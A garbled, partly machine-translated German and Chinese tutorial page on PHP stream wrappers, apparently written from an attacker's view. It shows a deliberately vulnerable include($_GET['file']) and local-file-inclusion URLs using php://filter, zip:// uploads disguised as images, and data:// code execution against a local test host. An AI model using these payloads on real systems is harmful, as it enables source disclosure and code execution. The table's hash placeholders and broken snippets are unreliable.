Heim > Artikel > Backend-Entwicklung > Zusammenfassung der von PHP unterstützten Protokolle und Kapselungsprotokolle (empfohlen)
Dieser Artikel stellt Ihnen hauptsächlich relevante Informationen zu den von PHP unterstützten Protokollen und Kapselungsprotokollen vor. Er bietet einen gewissen Referenz-Lernwert für alle, die PHP benötigen können Sie Let’s learning gemeinsam mit dem Herausgeber verfolgen.
Vorwort
Die heutige Webprogramm-Entwicklungstechnologie besteht wirklich aus hunderten konkurrierenden Denkrichtungen: ASP.NET, PHP, JSP, Perl, AJAX und so weiter. Unabhängig davon, wie sich die Web-Technologie in Zukunft entwickelt, ist das Verständnis der grundlegenden Protokolle für die Kommunikation zwischen Web-Programmen wichtig, da es uns ermöglicht, das Innenleben von Web-Anwendungen zu verstehen.
PHP verfügt über viele integrierte Wrapper-Protokolle im URL-Stil für Dateisystemfunktionen wie fopen(), copy(), file_exists() und filesize(). Zusätzlich zu diesen Wrapper-Protokollen können auch benutzerdefinierte Wrapper-Protokolle über stream_wrapper_register() registriert werden.
Hinweis: Die zur Beschreibung eines Kapselungsprotokolls verwendete URL-Syntax unterstützt nur die Syntax „scheme://...“. scheme:/ und scheme:-Syntax werden nicht unterstützt.
php-Protokolltyp
file:// – Zugriff auf das lokale Dateisystem
http:// – Zugriff auf HTTP(s)-URLs
ftp:// – Zugriff auf FTP(s)-URLs
php:// – Zugriff auf verschiedene Eingabe-/Ausgabe-Streams (I/O-Streams)
zlib:// – Komprimierte Streams
Daten: // – Daten (RFC 2397)
glob:// – Passendes Dateipfadmuster finden
phar:// – PHP-Archiv
ssh2:// – Secure Shell 2
rar:// – RAR
ogg :// – Audio-Streaming
expect:// – Umgang mit interaktivem Streaming
PHP.ini
allow_url_fopen: on Standardmäßig bedeutet das Einschalten dieser Option, dass das fopen-Kapselungsprotokoll in Form einer URL aktiviert wird, was den Zugriff auf URL-Objektdateien usw. ermöglicht.
allow_url_include: off ist standardmäßig deaktiviert. Wenn diese Option aktiviert ist, ermöglicht sie die Einbeziehung von URL-Objektdateien usw.
file: //Protokoll
file:// – Zugriff auf das lokale Dateisystem, nicht betroffen vonallow_url_fopen undallow_url_include
Verwendung
file:// [absoluter Pfad und Dateiname der Datei]
http://127.0.0.1/code/1.php?file=file:///E:\phpStudy\WWW\code\phpinfo.php
php://Protokoll
php:// – Zugriff auf verschiedene Eingabe-/Ausgabeströme (E/A-Streams)
Sie müssen „allow_url_fopen“ nicht aktivieren, nur php://input, php://stdin, php://memory und php://temp müssen „allow_url_include“ aktivieren.
php://stdin, php://stdout und php://stderr
php://stdin, php:/ //stdout und php://stderr ermöglichen den direkten Zugriff auf die entsprechenden Eingabe- oder Ausgabeströme des PHP-Prozesses.
php://stdin ist schreibgeschützt, php://stdout und php://stderr sind schreibgeschützt.
php://stdin
<?php while($line = fopen('php://stdin','r')) {//open our file pointer to read from stdin echo $line."\n"; echo fgets($line);//读取 } ?>
php: //stdout
<?php $fd = fopen('php://stdout', 'w'); if ($fd) { echo $fd."\n"; fwrite($fd, "test"); fwrite($fd, "\n"); fclose($fd); } ?>
php://stderr
<?php $stderr = fopen( 'php://stderr', 'w' ); echo $stderr."\n"; fwrite($stderr, "uknow" ); fclose($stderr); ?>
php://filter
Am häufigsten verwendet A Pseudoprotokoll, das grundsätzlich zum Lesen beliebiger Dateien verwendet werden kann.
php://filter ist ein Meta-Wrapper, der zum Filtern von Anwendungen beim Öffnen eines Datenstroms entwickelt wurde. Dies ist nützlich für All-in-One-Dateifunktionen wie readfile(), file() und file_get_contents(), bei denen keine Möglichkeit besteht, zusätzliche Filter anzuwenden, bevor der Stream-Inhalt gelesen wird.
Parameter
名称 | 描述 |
---|---|
resource=42617adde19ea23d35a6d030bf3614c9 | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=a70e0717f5bf907d1d01d15c88b07fa4 | 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 |
write=901dd5a2bf80d6ba3575d2b297b76956 | 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 |
303bffd13872b337910611675bdd821f | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
<?php include($_GET['file']) ?>
http://127.0.0.1/code/1.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://input
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
allow_url_fopen :off/on
allow_url_include:on
zip://, bzip2://, zlib://协议
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
allow_url_fopen :off/on
allow_url_include:off/on
使用方法
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
http://127.0.0.1/code/1.php?file=zip://E:\phpStudy\WWW\code/1.zip%231.txt
data://协议
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
http://127.0.0.1/code/1.php?file=data://text/plain,<?php phpinfo()?> http://127.0.0.1/code/1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
glob://协议
glob:// — 查找匹配的文件路径模式
<?php $it = new DirectoryIterator($_GET['file']); foreach($it as $f) { printf("%s", $f->getFilename()); echo'</br>'; } ?>
expect://协议
expect:// — 处理交互式的流
该封装协议默认未开启
为了使用 expect:// 封装器,你必须安装 » PECL 上的 » Expect 扩展。
用法
expect://command
附:HTTP协议是无状态的和Connection: keep-alive的区别
无状态是指协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。从另一方面讲,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系
HTTP是一个无状态的面向连接的协议,无状态不代表HTTP不能保持TCP连接,更不能代表HTTP使用的是UDP协议(无连接)
从HTTP/1.1起,默认都开启了Keep-Alive,保持连接特性,简单地说,当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接
Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同的服务器软件(如Apache)中设定这个时间
总结
Reference
PHP
php伪协议实现命令执行的七种姿势
Das obige ist der detaillierte Inhalt vonZusammenfassung der von PHP unterstützten Protokolle und Kapselungsprotokolle (empfohlen). Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!